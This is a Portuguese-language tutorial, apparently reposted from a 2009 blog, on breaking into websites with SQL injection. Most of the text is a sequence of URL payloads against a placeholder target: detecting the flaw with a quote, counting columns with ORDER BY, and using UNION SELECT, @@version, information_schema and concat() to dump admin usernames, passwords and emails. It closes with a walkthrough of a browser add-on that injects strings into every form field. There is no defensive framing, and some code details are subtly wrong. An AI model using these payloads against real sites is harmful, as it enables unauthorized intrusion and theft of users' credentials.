O que é Sql Injection?
É uma vulnerabilidade existente nos dias de hoje, que si usa de uma manipulação em códigos sql. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site ou ate mesmo em campos de text. obtendo, assim, informações confidenciais como logins e senhas, dentre outros.
Hoje em dia são usadas muitas técnicas para explorar um banco de dados de um site servidor… Citarei algumas das técnicas.
1 – Sql Injection
A) Verificar a si existe uma Vulnerabilidade sem programa.
Vou citar um exemplo básico, para si saber si existe uma vulnerabilidade. Suponhamos que existe um site chamado “ALVO”, e esse site contem dados enviados por variáveis URL.
Código:
http://www.alvo.com/news.php?id=5
No caso acima, o nome do site é
www.alvo.com, Toda vez que você ver no link de um site o sinal de interrogação seguido de alguma palavra,letra,silaba recebendo algum valor, isso quer diser que existe um dado sendo enviado de uma pagina para outra. Exemplo:
?id=5.
Isso significa que neste caso, a pagina news.php estará recebendo o.
Concerteza na pagina, chamada news.php terá um código, parecido com esse:
$id =$_post[‘id’];
E obviamente terá um código sql, parecido com esse.
Query_rs = “select * from noticias where código=’$id’”
Isso significa que a pagina news.php esta selecionando a noticia em que o codigo da noticia seja igual ao codigo da URL, que seria a variavel $id.
Agora, vamos a parte para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ‘ ). Abaixo é mostrado a forma como a url ficará.
Código:
http://www.alvo.com/news.php?id=5′
Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection
Erro:
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the…
O erro acima diz que a sintase da consulta sql esta incorreta. e pede para você checar o manual correspondente ao SGBD que você está utilizando. “Até parece que você é o administrador do site”
Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Agora Iremos aprender a explorar esta vulnerabilidade. Com alguns macetes:
B) – Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.
Utilizaremos uma forma bastante simples para descobrir a quantidade de colunas existentes na tabela. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY, esse comando é colocado no fim da sintase sql, significa ordenar em formas descendente, ascendente dentre outras a suas consulta.
Mas como utilizar este comando Sql?
Ao final da url você adiciona o comando
order by e vai adicionando uma sequência de Colunas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:
Código:
http://www.alvo.com/news.php?id=5 order by 1
Se não aparecer nenhum erro é por que esta Coluna número 1 existe. Para localizar a quantidade de colunas basta ir tentando ordenar todas as colunas de 1 a infinito. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna é inexistente no banco de dados.
Código:
http://www.alvo.com/news.php?id=5 order by 1/* <– Sem erro
http://www.alvo.com/news.php?id=5 order by 1,2/* <– Sem erro
http://www.alvo.com/news.php?id=5 order by 1,2,3/* <– Sem erro
http://www.site.com/news.php?id=5 order by 1,2,3,4 <–
Com erro
O exemplo acima, é atribuido Colunas (1..2..3..4), no entanto, é mencionado erro na Coluna 4. Conclui-se então que esta Coluna é inexistente e que o banco possui apenas 3 Colunas.
C) – Utilizando a função UNION.
Esta função poderosa é responsável por
unir vários dados localizados em Colunas de Tabelas diferentes. “Essa é muito boa”
Vamos utilizar o exemplo abaixo para melhor exemplificar.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3
Explicando a Sql:
O exemplo acima vai possibilitar ao “Injectador” visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.
Código:
…?id … union all select 1,2,3
Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site:
http://www.alvo.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.
D) – Descobrindo a versão do SGBD (MySql).
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3
Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,@@version,3
Caso não der certo, você receberá uma mensagem de erro semelhante a esta:
Citação:
“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
Para resolver este erro vamos utilizar a função convert(). Exemplo abaixo:
Código:
http://www.alvo.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/
Ou então as funções hex() e unhex();
Código:
http://www.alvo.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/
Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.
E) – Obtendo o nome da Coluna/Tabela.
Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:
Geralmente os DBA’s (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:
Citação:
user, usuario, admin, member, membro, password, passwd, pwd, user_name
Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver utilizando.
Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,2,3 from admin
Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin”.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin
Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin/
Acima, observe que a consulta começa a ficar refinada: “Mostre-me os valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin”. Ou seja, suponha que o DBA tenha criado um banco onde as ele separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,username, password from admin
Caso a consulta der certo, na tela aparecerá o nome do usuário e a senha. Esta senha aparecerá na tela tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvido o banco.
Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..
Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
F) – MySql 5.
Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.
Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.
Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.
Observer abaixo que é colocado como limite 0, 1.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
OBS: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de você, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então você deveria acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.
Espero que tenham entendido esta parte.
Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.
Código:
http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos usuário pode-se fazer a consulta abaixo:
Código:
http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/
Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.
Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().
Código:
http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
Ferramenta de auxílio
SQL Injection 1.2 + Firefox.
https://addons.mozilla.org/pt-BR/firefox/addon/6727
Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é mostrado um complemento do Firefox que pode ajudá-lo bastante nesta tarefa.
O
SQL Injection 1.2 que é uma complemento que nos ajuda a inserir códigos tanto em Post quanto em Get. Além de você pode memorizar todas as entradas que você adquirir, sem a necessidade de utilizar o Crtl + c e Crtl + v.
Abaixo as ilustrações mostram a facilidade de uso da ferramenta.
Acima simplesmente pedimos para mostrar o usuário, a senha e o email.
Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.
Para quem sabe manejar bem o sql, concerteza que com este simples tutorial, aprenderá coisas a mais do que estou ensinando. Aprenderá que para fazer um sql injection basta injetar um código em outro código.
Espero que todos tenham entendido pelo menos a essência da coisa.
A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos início a execução do complemento é necessário dar um clique em cima do ícone (cadeado).
A imagem 02 mostra o complemento em si. Observe que não tem muito mistério, um campo para a escolha da String/Query e dois botões de escolha.
A imagem 3 mostra que o complemento já vem com algumas Strings, as Query’s que aparecem eu mesmo adicionei.
Mas como funciona?
A imagem 04 mostra que o
SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a
Usuário, Senha, Entrar.
Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.
A imagem 05 aparece logo após você clicar no campo desejado. Então você pode fazer a escolha de fazer a injeção por POST ou por GET.
Na imagem 06 você agora deve escolher em qual campo será inserido a String. Para isto você deve optar em clicar em um dos dois botões:
O botão
Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.
O botão
Injection in all possibilita que a String seja inserida em todos os campos do site.
Observe que eu clique no botão
Injection in all.
Pronto, logo após para iniciar a injeção basta clicar no tão
Submit this form.
Fonte:http://juancarloscunha.wordpress.com/2009/08/19/tutorial-como-invadir-com-sql-injection-mysql-sql-injection-por-method-_get-e-_post-programa-para-sqlinjection/